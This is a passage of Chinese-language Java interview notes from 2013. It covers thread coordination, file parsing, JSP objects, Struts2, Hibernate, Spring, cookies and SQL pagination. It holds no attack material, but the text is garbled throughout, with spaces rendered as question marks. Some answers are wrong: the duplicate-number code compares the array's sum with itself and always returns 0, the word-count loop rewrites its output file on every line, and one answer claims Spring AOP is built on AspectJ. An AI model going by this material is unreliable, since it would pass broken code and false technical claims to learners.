? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? class C implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? try { ?
? ? ? ? ? ? ? ? ? ? synchronized (c) { ?
? ? ? ? ? ? ? ? ? ? ? ? synchronized (a) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.print("C"); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? a.notify(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? ? ? if (i < 9) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? c.wait(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } catch (Exception e) { ?
? ? ? ? ? ? ? ? ? ? e.printStackTrace(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? public static Object a = new Object(); ?
? ? public static Object b = new Object(); ?
? ? public static Object c = new Object(); ?
??
? ? public static void main(String[] args) throws Exception { ?
? ? ? ? TestThread t = new TestThread(); ?
??
? ? ? ? Thread a = new Thread(t.new A()); ?
? ? ? ? Thread b = new Thread(t.new B()); ?
? ? ? ? Thread c = new Thread(t.new C()); ?
??
? ? ? ? a.start(); ?
? ? ? ? Thread.sleep(1); ?
? ? ? ? b.start(); ?
? ? ? ? Thread.sleep(1); ?
? ? ? ? c.start(); ?
? ? } ?
??
問題2:讀取文本信息,讀取指定信息,比如“姓名:陳小影”里的陳小影,以及統計數據 ?
??
用緩沖流的readline(),一次讀一行,然后截取冒號后面的,再加上字符串截取就行了subString(),最后再拼起來。 ?
?
代碼: ?
InputStreamReader read = new InputStreamReader(new FileInputStream(file), "UTF-8"); ?
BufferedReader reader = new BufferedReader(read); ?
??
代碼: ?
public static void main(String[] args) throws IOException ?
? ? ?{ ?
? ? ? FileReader is = new FileReader("D:/input.txt.txt"); ?
? ? ? BufferedReader br = new BufferedReader(is); ?
? ? ? StringBuffer buffer = new StringBuffer(); ?
? ? ? String test = ""; ?
??
? ? ? while((test = br.readLine()) != null){ ?
? ? ? ?int num = numString(test,"java"); ?
? ? ? ?PrintWriter ?os = new PrintWriter ("D:/result.txt.txt"); ?
? ? ? ?buffer.append("input.txt文件中,包含"); ?
? ? ? ?buffer.append(num); ?
? ? ? ?buffer.append("個java字符串"); ?
? ? ? ?os.write(buffer.toString()); ?
? ? ? ?os.close(); ??
? ? ? } ?
? ? ?} ?
? ? ? ?
? ? ?public static int numString(String s , String str) { ?
? ? ? ? ? ? int i = 0 ; ? ? //指定的開始搜索的索引 ?
? ? ? ? ? ? int index = 0 ; //查找到的第一個索引 ?
? ? ? ? ? ? int num = 0 ; ? ? ? //字符串出現的次數 ?
??
? ? ? ? ? ? while(index != -1) { ?
? ? ? ? ? ? //indexOf(String str, int fromIndex) ??
? ? ? ? ? ? //返回指定子字符串在此字符串中第一次出現處的索引,從指定的索引開始。 ?
? ? ? ? ? ? ? ? index = s.indexOf(str,i) ; ?
? ? ? ? ? ? ? ? if(index != -1) ?
? ? ? ? ? ? ? ? ? ? num ++ ; ?
? ? ? ? ? ? ? ? i = index + str.length() ; ?
? ? ? ? ? ? } ?
? ? ? ? ? ? return num ; ?
? ? ? ? } ?
? ? } ?
??
問題3:JSP的九大內置對象和四個作用域 ?
??
九大內置對象: ?
request ? ? ? 請求對象 ? ? ? ? 用戶端請求,此請求會包含來自GET/POST請求的參數 作用域 Request ?
response ? ? ?響應對象 ? ? ? ? ?網頁傳回用戶端的回應 ? ? ? ? ? ? ? ? ? ? ? ? ?作用域 Page ?
pageContext ? 頁面上下文對象 ? 網頁的屬性在這里管理 ? ? ? ? ? ? ? ? ? ? ? ? ?作用域 Page ?
session ? ? ? 會話對象 ? ? ? ? ?與請求有關的會話期 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 作用域 Session ?
application ? 應用程序對象 ? ?servlet正在執行的內容 ? ? ? ? ? ? ? ? ? ? ?作用域 Application ?
out ? ? ? ? ? 輸出對象 ? ? ? ? ?用來傳送回應的輸出 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 作用域 Page ?
config ? ? ? ?配置對象 ? ? ? ? ?servlet的構架部件 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?作用域 Page ?
page ? ? ? ? ?頁面對象 ? ? ? ? ?JSP網頁本身 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 作用域 Page ?
exception ? ? 例外對象 ? ? ? ? ?針對錯誤網頁,未捕捉的例外 ? ? ? ? ? ? ? ? ? ? ? 作用域 page ?
??
四個作用域:page、request、session、application ?
Page ? ? ? ? ? ?范圍是當前頁面 ?
Request ? ? 范圍是當前請求周期(從請求發起到服務器處理結束,返回響應的整個過程) ?
Session ? ? 范圍是當前會話(用戶打開瀏覽器開始,到用戶關閉瀏覽器并且會話失效的整個過程) ?
Application 范圍是整個應用,從應用啟動到應用結束 ?
??
問題4:FileWriter和PrintWriter有什么區別? ?
??
在寫文件時我認為: ?
? PrintWriter ?out ?= ?new ?PrintWriter( ? ??
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? new ?BufferedWriter( ? ??
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? new ?FileWriter(filename))); ?
比較好點 ?
??
PrintWriter ? ? 提供print系方法 ?
BufferedWriter ?提供緩沖,用以加速 ?
FileWriter ? ? ?用于寫文件 ?
??
FileWriter類/FileReader類: ??
用于對字符文件的讀寫的便捷的結點流類 ?
使用時最好用BufferedReader/BufferedWriter對其進行包裝。 ?
??
PrintStream類(如System.out): ?
格式化打印輸出字節數據的流,該類提供的print[ln]()方法可格式化打印輸出各種類型的數據(包括類對象) ?
它使用平臺的默認字符編碼將所有字符都轉換為字節打印輸出(寫入) ?
??
在需要寫入字符而不是寫入字節的情況下,應該使用PrintWriter類 ?
??
問題5:簡述JSP和Servlet的關系? ?
??
JSP---Java Server Pages ?
擁有Servlet的特性與優點(本身就是一個Servlet) ?
直接在HTML中內嵌JSP代碼 ?
只有當客戶端第一次請求JSP時,才需要將其轉換、編譯Servlet代碼 ?
??
優點: ?
優良的性能 ? 優于CGI,PHP,ASP ?
平臺無關性 ? 操作系統無關,Web服務器無關 ?
可擴展性 ? ?標簽庫Tag的擴展機制,簡化頁面開發——Taglib uri ?
??
Servlet是在Web服務器上的Java程序,它提供服務,由它來傳遞給你html的格式 ?
Servlet是服務器小小的Java應用程序 ?
用來完成B/S架構下,客戶端請求的響應處理 ?
平臺獨立,性能優良,能以線程方式運行 ?
Servlet API為Servlet提供了統一的編程接口 ?
Servlet一般在容器中運行(必須部署在Servlet容器,才能響應客戶端的請求,對外提供服務,要對外統一接口,由容器來調用) ?
??
JSP在被第1次訪問的時候 ?會被轉義編譯成類Servlet也可以說JSP就是一個Servlet ?
??
2者的區別:JSP是Html中內嵌Java代碼;Servlet把Html代碼和Java代碼分離開 ?
? ? ? ? ? ? JSP側重與顯示;Servlet側重與控制邏輯 ?
??
問題6:簡述JAVA設計模式的概念? ?
??
設計模式(Design Pattern)是一套被反復使用、多數人知曉的、經過分類編目的、代碼設計經驗的總結。使用設計模式是為了可重用代碼、讓代碼更容易被他人理解、保證代碼可靠性。 ??
?
毫無疑問,設計模式于己于他人于系統都是多贏的,設計模式使代碼編制真正工程化,設計模式是軟件工程的基石,如同大廈的一塊塊磚石一樣。 ?
??
問題7:常用的數據庫優化方法有哪些? ?
??
建立索引 ?
導出歷史數據 ??
定期整理索引(sp_msforeachtable ? 'dbcc ? dbreindex("?")' ? ) ??
少用like,查詢前檢查條件是不是完整,如果完整就用 = 替代like查詢,不要不檢查條件完整不完整全部用like來 ?
??
問題8:什么是動態游標?什么是靜態游標? ?
??
靜態游標是以游標打開時刻的當時狀態顯示結果集的游標。靜態游標在游標打開時不反映對基礎數據進行的更新、刪除或插入。有時稱它們為快照游標。 ?
??
動態游標是可以在游標打開時反映對基礎數據進行的修改的游標。用戶所做的更新、刪除和插入在動態游標中加以反映。 ?
??
問題9:為什么要用Struts2框架? ?
??
它是建立在MVC這種公認的好的模式上的,Struts在M、V和C上都有涉及,但它主要是提供一個好的控制器和一套定制的標簽庫上,也就是說它的著力點在C和V上。因此,它天生就有MVC所帶來的一系列優點,如:結構層次分明,高可重用性,增加了程序的健壯性和可伸縮性,便于開發與設計分工,提供集中統一的權限控制、校驗、國際化、日志等等 ?
其次,它是個開源項目得到了包括它的發明者Craig R.McClanahan在內的一些程序大師和高手持續而細心的呵護,并且經受了實戰的檢驗,使其功能越來越強大,體系也日臻完善 ?
是它對其他技術和框架顯示出很好的融合性 ?
??
問題10:Struts2的工作原理? ?
??
Struts2框架由3個部分組成: ?
核心控制器FilterDispatcher、業務控制器和用戶實現的業務邏輯組件。 ?
在這3個部分里,Struts 2框架提供了核心控制器FilterDispatcher,而用戶需要實現業務控制器和業務邏輯組件。 ??
??
1、核心控制器:FilterDispatcher ??
FilterDispatcher是Struts2框架的核心控制器,該控制器作為一個Filter運行在Web應用中,它負責攔截所有的用戶請求,當用戶請求到達時,該Filter會過濾用戶請求。如果用戶請求以action結尾,該請求將被轉入Struts2框架處理。 ??
Struts2框架獲得了*.action請求后,將根據*.action請求的前面部分決定調用哪個業務邏輯組件。例如,對于login.action請求,Struts2調用名為login的Action來處理該請求。 ?
Struts2應用中的Action都被定義在struts.xml文件中,在該文件中定義Action時,定義了該Action的name屬性和class屬性,其中name屬性決定了該Action處理哪個用戶請求,而class屬性決定了該Action的實現類。 ??
Struts2用于處理用戶請求的Action實例,并不是用戶實現的業務控制器,而是Action代理。因為用戶實現的業務控制器并沒有與Servlet API耦合,顯然無法處理用戶請求。而Struts2框架提供了系列攔截器,該系列攔截器負責將HttpServletRequest請求中的請求參數解析出來,傳入到Action中,并回調Action 的execute方法來處理用戶請求。 ??
??
2、一個請求在Struts2框架中的處理大概分為以下幾個步驟: ?
客戶端初始化一個指向Servlet容器(例如Tomcat)的請求 ,即HttpServletRequest請求 ?
這個請求經過一系列的過濾器(Filter)(這些過濾器中有一個叫做ActionContextCleanUp的可選過濾器,這個過濾器對于Struts2和其他框架的集成很有幫助,例如:SiteMesh Plugin) ?
接著FilterDispatcher被調用,FilterDispatcher詢問ActionMapper來決定這個請是否需要調用某個Action ??
如果ActionMapper決定需要調用某個Action,FilterDispatcher把請求的處理交給ActionProxy ??
ActionProxy通過Configuration Manager詢問框架的配置文件,找到需要調用的Action類 ??
ActionProxy創建一個ActionInvocation的實例 ?
ActionInvocation實例使用命名模式來調用,在調用Action的過程前后,涉及到相關攔截器(Intercepter)的調用 ?
一旦Action執行完畢,ActionInvocation負責根據struts.xml中的配置找到對應的返回結果。返回結果通常是(但不總是,也可 能是另外的一個Action鏈)一個需要被表示的JSP或者FreeMarker的模版。在表示的過程中可以使用Struts2 框架中繼承的標簽。在這個過程中需要涉及到ActionMapper ?
??
在上述過程中所有的對象(Action,Results,Interceptors,等)都是通過ObjectFactory來創建的。 ?
??
問題11:Hibernate的工作原理? ?
??
讀取并解析hibernate.cfg.xml配置文件 ?
讀取并解析映射信息,創建SessionFactory ?
打開Sesssion ?
創建事務Transaction ?
持久化操作 ?
提交事務 ?
關閉Session ?
關閉SesstionFactory ?
??
問題12:為什么要用Hibernate? ?
??
對JDBC訪問數據庫的代碼做了封裝,大大簡化了數據訪問層繁瑣的重復性代碼 ?
Hibernate是一個基于JDBC的主流持久化框架,是一個優秀的ORM實現。他很大程度的簡化DAO層的編碼工作 ?
Hibernate使用Java反射機制,而不是字節碼增強程序來實現透明性 ?
Hibernate的性能非常好,因為它是個輕量級框架。映射的靈活性很出色。它支持各種關系數據庫,從一對一到多對多的各種復雜關系 ?
??
問題13:Hibernate如何實現延遲加載? ?
??
當Hibernate在查詢數據的時候,數據并沒有存在與內存中,當程序真正對數據的操作時,對象才存在與內存中,就實現了延遲加載,他節省了服務器的內存開銷,從而提高了服務器的性能。 ?
??
問題14:Hibernate中怎樣實現類之間的關系?(如:一對多、多對多的關系) ?
??
類與類之間的關系主要體現在表與表之間的關系進行操作,它們都是對對象進行操作,我們程序中把所有的表與類都映射在一起,它們通過配置文件中的many-to-one、one-to-many、many-to-many ?
??
問題15:Spring的工作原理? ?
??
IoC(Inversion of control): 控制反轉 ?
概念:控制權由對象本身轉向容器,由容器根據配置文件去創建實例并創建各個實例之間的依賴關系 ?
核心:bean工廠,在Spring中,bean工廠創建的各個實例稱作bean ?
??
AOP(Aspect-Oriented Programming): 面向切面編程 ?
??
1、代理的兩種方式: ?
靜態代理: ?
? 針對每個具體類分別編寫代理類 ??
? 針對一個接口編寫一個代理類 ?
動態代理: ?
針對一個切面編寫一個InvocationHandler,然后借用JDK反射包中的Proxy類為各種接口動態生成相應的代理類 ?
?
2、AOP的主要原理:動態代理 ?
??
Spring的工作原理 ??
Spring 已經用過一段時間了,感覺Spring是個很不錯的框架。內部最核心的就是IOC了, 動態注入,讓一個對象的創建不用new了,可以自動的生產,這其實就是利用Java里的反射 ?
反射其實就是在運行時動態的去創建、調用對象,Spring就是在運行時,跟XMLSpring的配置文件來動態的創建對象,以及調用對象里的方法 ?
Spring還有一個核心就是AOP這個就是面向切面編程,可以為某一類對象進行監督和控制(也就是在調用這類對象的具體方法的前后去調用你指定的模塊)從而達到對一個模塊擴充的功能,這些都是通過配置類達到的 ?
?
Spring的目的: ?
就是讓對象與對象(模塊與模塊)之間的關系沒有通過代碼來關聯,都是通過配置類說明管理的(Spring根據這些配置內部通過反射去動態的組裝對象),要記住:Spring是一個容器,凡是在容器里的對象才會有Spring所提供的這些服務和功能 ?
Spring里用的最經典的一個設計模式就是:模板方法模式。(這里我都不介紹了,是一個很常用的設計模式)Spring里的配置是很多的,很難都記住,但是Spring里的精華也無非就是以上的兩點,把以上兩點跟理解了也就基本上掌握Spring。 ?
??
問題16:SpringMVC的工作原理? ?
??
Spring的MVC框架主要由DispatcherServlet、處理器映射、處理器、視圖解析器、視圖組成 ?
??
整個處理過程從一個HTTP請求開始: ?
DispatcherServlet接收到請求后,根據對應配置文件中配置的處理器映射,找到對應的處理器映射項(HandlerMapping),根據配置的映射規則,找到對應的處理器(Handler) ?
調用相應處理器中的處理方法,處理該請求,處理器處理結束后會將一個ModelAndView類型的數據傳給DispatcherServlet,這其中包含了處理結果的視圖和視圖中要使用的數據 ?
DispatcherServlet根據得到的ModelAndView中的視圖對象,找到一個合適的ViewResolver(視圖解析器),根據視圖解析器的配置,DispatcherServlet將視圖要顯示的數據傳給對應的視圖,最后給瀏覽器構造一個HTTP響應 ?
??
DispatcherServlet是整個Spring MVC的核心,它負責接收HTTP請求組織協調Spring MVC的各個組成部分 ?
其主要工作有以下三項: ?
截獲符合特定格式的URL請求 ?
初始化DispatcherServlet上下文對應的WebApplicationContext,并將其與業務層、持久化層的WebApplicationContext建立關聯 ?
初始化Spring MVC的各個組成組件,并裝配到DispatcherServlet中 ?
??
問題17:SendRedirect 和Foward區別 ?
??
1、請求次數不同,這是最本質的區別 ?
在Foward方式下,在執行當前JSP對象或者Servlet對象的過程中去調用目標文件對應的對象,相當于方法調用,把request和response對象作為參數傳遞到目標文件對應的對象,當前文件和目標文件的執行是在用戶發送的一次請求中完成的。 ?
在redirect方式下,用于首先請求了當前文件,當前文件把目標文件的地址返回給了客戶端,客戶端再次發送請求,請求目標文件,實際上是發送了兩次請求。 ?
??
2、傳值方式不同 ?
在Foward方式下,當前文件和目標文件屬于同一次請求,共享request對象,所以可以使用request對象傳值。 ?
在redirect方式下,當前文件和目標文件屬于不同的請求,每次請求會單獨創建request和response對象,這樣就不能使用request對象來傳值。 ?
在MVC模式下,通常在控制器中調用模型得到數據,然后保存到request中,然后Foward到目標文件,目標文件從request中獲取需要的信息。如果使用sendRedirect方式在控制器和視圖之間傳遞信息,需要使用在目標文件之后加上“?名字=值”的方式傳遞。 ?
??
3、客戶端在地址欄中看到的地址不一樣 ?
對于Foward,在地址欄中看到的是第1個文件的名字。 ?
對于sendRedirect,在地址欄中看到的是第2個文件的地址。 ?
有時候會影響目標文件中的相對路徑,例如當前文件是aa文件夾中的a.jsp,目標文件是bb文件夾中的b.jsp,在b.jsp中要訪問一個圖片,使用相對路徑,直接寫face.jpg,這個文件與b.jsp放在一起。如果采用forward方式,地址欄中是a.jsp,這樣系統會在aa文件夾中找face.jpg,這時候就會出錯。 ?
??
問題18:addBatch批量處理數據庫數據時用execute對嗎? ?
??
錯,要使用executeBatch執行批量SQL語句 ?
??
問題19:簡述JavaWeb中Model2及軟件分層架構的好處 ?
??
Model2(JSP+Servlet+JavaBean)具有組件化的優點從而更易于實現對大規模系統的開發和管理,職責劃分清晰。 ?
??
優點: ?
分層式結構究竟其優勢何在?Martin Fowler在《Patterns of Enterprise Application Architecture》一書中給出了答案: ?
1、開發人員可以只關注整個結構中的其中某一層 ?
2、可以很容易的用新的實現來替換原有層次的實現 ?
3、可以降低層與層之間的依賴 ?
4、有利于標準化 ?
5、利于各層邏輯的復用 ?
??
概括來說,分層式設計可以達至如下目的:分散關注、松散耦合、邏輯復用、標準定義 ?
??
缺點: ?
“金無足赤,人無完人”,分層式結構也不可避免具有一些缺陷 ?
1、降低了系統的性能,這是不言而喻的。如果不采用分層式結構,很多業務可以直接造訪數據庫,以此獲取相應的數據,如今卻必須通過中間層來完成 ?
2、有時會導致級聯的修改,這種修改尤其體現在自上而下的方向。如果在表示層中需要增加一個功能,為保證其設計符合分層式結構,可能需要在相應的業務邏輯層和數據訪問層中都增加相應的代碼。 ?
關于第一個缺點,完全可以通過系統的緩存機制來減小對性能的影響。第二個缺點,我想只能通過采用一些設計模式來得到改善吧。 ?
?
問題20:說說Session分話的原理,Session與Cookie的關系及區別 ?
??
服務器上通過Session來分別不同的用戶Session ID ?
任何連接到服務器上的用戶,服務器都會位之分配唯一的一個不會重復的Session ID ?
Session ID是由服務器統一管理的,人為不能控制 ?
??
Session在服務器上2個基本操作: ?
Session.setAttribute(String key,Object obj)以鍵值對的方式存儲數據 ?
Session.getAttribute(String key)根據鍵獲取數據 ?
?
Session是服務器端緩存,Cookie是客戶端緩存 ?
Cookie機制采用的是在客戶端保持狀態的方案,而Session機制采用的是在服務器端保持狀態的方案 ?
??
問題21:Cookie中的值能否包含各種特殊字符及中文字符?如果不能,那應該如何處理? ?
??
當Cookie中包含有等號、空格、分號等特殊字符時,可能會導致數據丟失、或者不能解析的錯誤,一個較好的解決辦法就是:在將Cookie值寫入客戶端瀏覽器之前,首先進行URLEncode編碼,讀取Cookie時,進行URLDecode即可。 ?
??
問題22:JDBC和Hibernate的比較? ?
??
JDBC與Hibernate在性能上相比,JDBC靈活性有優勢。而Hibernate在易學性,易用性上有些優勢。當用到很多復雜的多表聯查和復雜的數據庫操作時,JDBC有優勢。 ?
??
相同點: ?
兩者都是JAVA的數據庫操作中間件 ?
兩者對于數據庫進行直接操作的對象都不是線程安全的,都需要及時關閉 ?
兩者都可以對數據庫的更新操作進行顯式的事務處理 ?
??
不同點: ?
使用的SQL語言不同:JDBC使用的是基于關系型數據庫的標準SQL語言,Hibernate使用的是HQL(Hibernate query language)語言 ?
操作的對象不同:JDBC操作的是數據,將數據通過SQL語句直接傳送到數據庫中執行,Hibernate操作的是持久化對象,由底層持久化對象的數據更新到數據庫中。 ?
數據狀態不同:JDBC操作的數據是“瞬時”的,變量的值無法與數據庫中的值保持一致,而Hibernate操作的數據是可持久的,即持久化對象的數據屬性的值是可以跟數據庫中的值保持一致的。 ?
??
Hibernate與JDBC哪個好?各自的優點和缺點: ?
1、內存消耗:采用JDBC的無疑是最省內存的,Hibernate的次之 ?
2、運行效率:如果JDBC的代碼寫的非常優化,那么JDBC架構運行效率最高,但是實際項目中,這一點幾乎做不到,這需要程序員非常精通JDBC,運用Batch語句,調整PreapredStatement的Batch Size和Fetch Size等參數,以及在必要的情況下采用結果集cache等等。而一般情況下程序員是做不到這一點的。因此Hibernate架構表現出最快的運行效率 ?
3、開發效率:在大的項目,特別是持久層關系映射很復雜的情況下,Hibernate效率高的驚人,JDBC次之 ?
??
延遲加載是罪魁禍首,所謂“成也蕭何,敗也蕭何” ?
有時發現查詢速度很慢,檢查才發現是我沒有啟用延遲加載,造成遞歸的數據都被加載進來了 ?
如果加上了延遲加載,那么許多頁面將無法使用,必須在程序里進行代碼級別的遞歸的延遲加載數據的讀取 ?
??
1 用HQL來寫查詢語句,這是最高效的辦法(推薦) ?
2 用JDBC,脫離了Hibernate范疇,緩存方面和樂觀所方面會出現不一致,而且語句變得繁瑣了(不推薦) ?
3 將前臺要用到的實體,獨立設計成單獨的類,沒有任何關聯,都是單表,用到的只是Hibernate的封裝以及簡單的OR映射 ?
4 在大數據量系統中都會遇到類似的問題,我的解決方法是少用一對多關聯映射或者不用一對多關聯,設置關聯少的數據表,用SQL語句做關聯的查詢,Hibernate中映射的配置 Lazy都為False ?
??
2013年8月9日:微游科技、三六五世界科技 ?
??
問題1:有一個1001個元素的數組a[n],每個元素都在1到1000這些整數中取值,其中只有一個數得復,并且數組中每個元素只能被訪問一次,設計一個算法找出這個數字.說明:每個元素只能被訪問一次,就像執行int v=a[1],v變量和a[1]元素不能再訪問.求高手指教 ?
??
一共有1001個數,其中1000個數是從1到1000取值的(而且取完一遍),另外一個數是重復數,那就用這1001個數的和,與前頭那個1000數的等差數列相減,便得出那個重復數了. ?
for (int num=0,i=0;i<1001;i++){num+=a【i】-i;} ?i從0開始,所以減的是1到1000的和。 ?
??
int[] arr = new int[1001];// 定義一個能夠存儲1001個元素的數組。 ?
? ? ? ? int sum = 0;// 定義一個變量用于存儲arr數組元素里面的所有總和。 ?
? ? ? ? int sum1 = 0;// 定義一個變量用于存儲1-1000的總和。 ?
? ? ? ? ??
? ? ? ? for (int i = 0; i < arr.length; i++) { ?
? ? ? ? ? ? sum += arr[i];// 用for循環,遍歷求出集合中所有元素的總和。 ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? for (int i = 0; i < 1001; i++) { ?
? ? ? ? ? ? sum1 += arr[i];// 用for循環,遍歷求出1-1000中所有元素的總和。 ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? int a = sum - sum1;// 假設a為,arr數組里面重復的元素! ?
? ? ? ? System.out.println("數組里面重復的數字為:" + a); ?
??
問題2:瀑布式開發模型和螺旋式開發模型? ?
??
瀑布式模型:可行性研究與計劃、需求分析、設計、開發、測試、維護 ?
螺旋式模型:可行性研究報告、需求說明書、設計文檔、程序、測試報告 ?
??
瀑布式模型要做完上一步才可以進行下一步,現已淘汰 ?
??
螺旋模型(Spiral Model)采用一種周期性的方法來進行系統開發,這會導致開發出眾多的中間版本 ?
使用它,項目經理在早期就能夠為客戶實證某些概念。該模型是快速原型法,以進化的開發方式為中心,在每個項目階段使用瀑布模型法。 ?
這種模型的每一個周期都包括需求定義、風險分析、工程實現和評審4個階段,由這4個階段進行迭代。軟件開發過程每迭代一次,軟件開發又前進一個層次。 ?
??
問題3:Spring底層動態代理失效,怎么實現切面? ?
??
Spring默認使用JDK動態代理(Proxy),但JDK動態代理是針對接口做代理的。如果類不是實現的接口的時候,就會使用cglib代理。當然,你也可以在配置文件里指定使用cglib ?
??
JDK代理:只能代理實現了接口的類 ?
cglib代理:不僅可以對實現接口的類進行代理,同時也可以對類本身生成代理(主要是通過繼承這個類來生成的,所以不要將要代理的類設成final) ?
??
問題4:什么是動態代理? ?
??
動態代理可以提供對另一個對象的訪問,同時隱藏實際對象的具體事實 ?
代理一般會實現它所表示的實際對象的接口 ?
代理可以訪問實際對象,但是延遲實現實際對象的部分功能,實際對象實現系統的實際功能,代理對象對客戶隱藏了實際對象。客戶不知道它是與代理打交道還是與實際對象打交道 ?
??
問題5:Struts2中的Action為什么是多例的? ?
??
Struts2的Action是多實例的并非單例,也就是每次請求產生一個Action的對象 ?
??
原因是: ?
Struts2的Action中包含數據 ?
例如你在頁面填寫的數據就會包含在Action的成員變量里面,如果Action是單實例的話,這些數據在多線程的環境下就會相互影響,例如造成別人填寫的數據被你看到了 ?
??
而Struts1的Action是單實例的 ?
因為它的數據保存在Form類中,多線程環境下,Action只負責處理一些邏輯,并沒有數據,也就是大家把它當做一個工具使用 ?
?
同樣Servlet也是單實例的 ?
??
問題6:Struts1和Struts2的區別? ?
??
Struts1的前端控制器是一個Servlet,名稱為ActionServlet,Struts2的前端控制器是一個filter,在Struts2.0中叫FilterDispatcher,在Struts2.1中叫StrutsPrepareAndExecuteFilter ?
Struts1的action需要繼承Action類,Struts2的action可以不繼承任何類;Struts1對同一個路徑的所有請求共享一個Action實例,Struts2對同一個路徑的每個請求分別使用一個獨立Action實例對象,所有對于Struts2的Action不用考慮線程安全問題 ?
在Struts1中使用formbean封裝請求參數,在Struts2中直接使用action的屬性來封裝請求參數 ?
Struts1 整合了JSTL,因此使用JSTL/EL。這種EL有基本對象圖遍歷,但是對集合和索引屬性的支持很弱。 ?
Struts2可以使用JSTL,但是也支持一個更強大和靈活的表達式語言--Object Graph Notation Language (OGNL)對象導航語言 ?
Struts 1使用標準JSP機制把對象綁定到頁面中來訪問 ?
Struts 2 使用ValueStack值棧技術,使taglib能夠訪問值而不需要把你的頁面(view)和對象綁定起來 ?
Struts 1 ActionForm 屬性通常都是String類型。Struts1使用Commons-Beanutils進行類型轉換 ?
Struts2 使用OGNL進行類型轉換,提供基本和常用對象的轉換器 ?
Struts 1支持在ActionForm的validate方法中手動校驗,或者通過Commons Validator的擴展來校驗。 ??
Struts2支持通過validate方法和XWork校驗框架來進行校驗。 ?
執行流程 ?
Struts1 ?
JSP發起HTTPRequest請求Servlet捕獲struts.xmlnamespace+ActionNameAction填充表單setXxx()action.execute()“success”Result設置Request屬性跳轉目標頁 ?
Struts2 ?
Action(JSP發起HTTPRequest請求,被過濾器捕獲)FilterDispatcherstruts.xmlnamespace+ActionNamenew Action填充表單setXxx()action.execute()“success”Result設置Request屬性跳轉目標頁 ?
??
問題7:MySQL和Oracle的分頁查詢語句? ?
??
MySQL: ?
第一個參數指定返回的第一行在所有數據中的位置,從0開始(注意不是1),第二個參數指定最多返回行數 ?
SELECT * FROM table LIMIT 5,10; #返回第6-15行數據 ? ?
SELECT * FROM table LIMIT 5; ? ?#返回前5行 ? ?
SELECT * FROM table LIMIT 0,5; ?#返回前5行 ? ?
??
Oracle: ?
第1種: ?
SELECT * FROM ??
( ?
SELECT A.*, ROWNUM RN ??
FROM (SELECT * FROM TABLE_NAME) A ??
WHERE ROWNUM <= 40 ?
) ?
WHERE RN >= 21 ?
??
第2種: ?
SELECT * FROM ??
( ?
SELECT A.*, ROWNUM RN ??
FROM (SELECT * FROM TABLE_NAME) A ??
) ?
WHERE RN BETWEEN 21 AND 40 ?
??
對比這兩種寫法,絕大多數的情況下,第一個查詢的效率比第二個高得多。 ?
??
這是由于CBO優化模式下,Oracle可以將外層的查詢條件推到內層查詢中,以提高內層查詢的執行效率。對于第一個查詢語句,第二層的查詢條件WHERE ROWNUM <= 40就可以被Oracle推入到內層查詢中,這樣Oracle查詢的結果一旦超過了ROWNUM限制條件,就終止查詢將結果返回了 ?
?
而第二個查詢語句,由于查詢條件BETWEEN 21 AND 40是存在于查詢的第三層,而Oracle無法將第三層的查詢條件推到最內層(即使推到最內層也沒有意義,因為最內層查詢不知道RN代表什么) ?
因此,對于第二個查詢語句,Oracle最內層返回給中間層的是所有滿足條件的數據,而中間層返回給最外層的也是所有數據。數據的過濾在最外層完成,顯然這個效率要比第一個查詢低得多 ?
?
問題8:部署在不同Tomcat的兩個項目間如何通信? ?
??
使用WebService技術實現 ?
使用Socket技術實現 ?
使用Http請求技術實現 ?
??
問題9:請你談談SSH整合? ?
??
Struts(表示層)+Spring(業務層)+Hibernate(持久層) ?
??
Struts: ?
Struts是一個表示層框架,主要作用是界面展示,接收請求,分發請求 ?
在MVC框架中,Struts屬于VC層次,負責界面表現,負責MVC關系的分發 ?
?
View:沿用 JSP,HTTP,Form,Tag,Resourse ?
Controller:ActionServlet,struts-config.xml,Action ?
Hibernate: ?
Hibernate是一個持久層框架,它只負責與關系數據庫的操作 ?
??
Spring: ?
Spring是一個業務層框架,是一個整合的框架,能夠很好地黏合表示層與持久層 ?
??
問題10:Struts2的數據都在ValueStack中,怎么保證數據的安全性?ValueStack生命周期多長? ?
??
因為ValueStack在ActionContext中,而ActionContext在ThreadLocal中,所以能保證數據的安全性 ?
ValueStack的生命周期是一次請求,因為ActionContext把ValueStack放在Request域里面 ?
??
問題11:OGNL有什么優點? ?
??
可以訪問ValueStack和AcionContext ?
可以操作集合對象,很方便的構建各種集合 ?
可以在 struts.xml訪問action定義的屬性 ?
可以調用對象的方法 ?
JSTL/EL只能在JSP中使用,而OGNL可以在更多的View使用 ?
??
問題12:為什么使用Spring?有什么優點? ?
??
降低了組件之間的耦合性 ,實現了軟件各層之間的解耦 ?
可以使用容器提供的眾多服務,如事務管理,消息服務等 ?
容器提供單例模式支持 ?
容器提供了AOP技術,利用它很容易實現如權限攔截,運行期監控等功能 ?
容器提供了眾多的輔助類,能加快應用的開發 ?
Spring對于主流的應用框架提供了集成支持,如Hibernate,JPA,Struts等 ?
Spring屬于低侵入式設計,代碼的污染極低 ?
獨立于各種應用服務器 ?
Spring的DI機制降低了業務對象替換的復雜性(依賴注入) ?
10、Spring的高度開放性,并不強制應用完全依賴于Spring,開發者可以自由選擇Spring的部分或全部 ?
??
2013年8月13日:信諾網利 ?
??
問題1:Spring的AOP是用什么來實現的? ?
??
Spring AOP就是用AspectJ來實現的,是依賴關系 ?
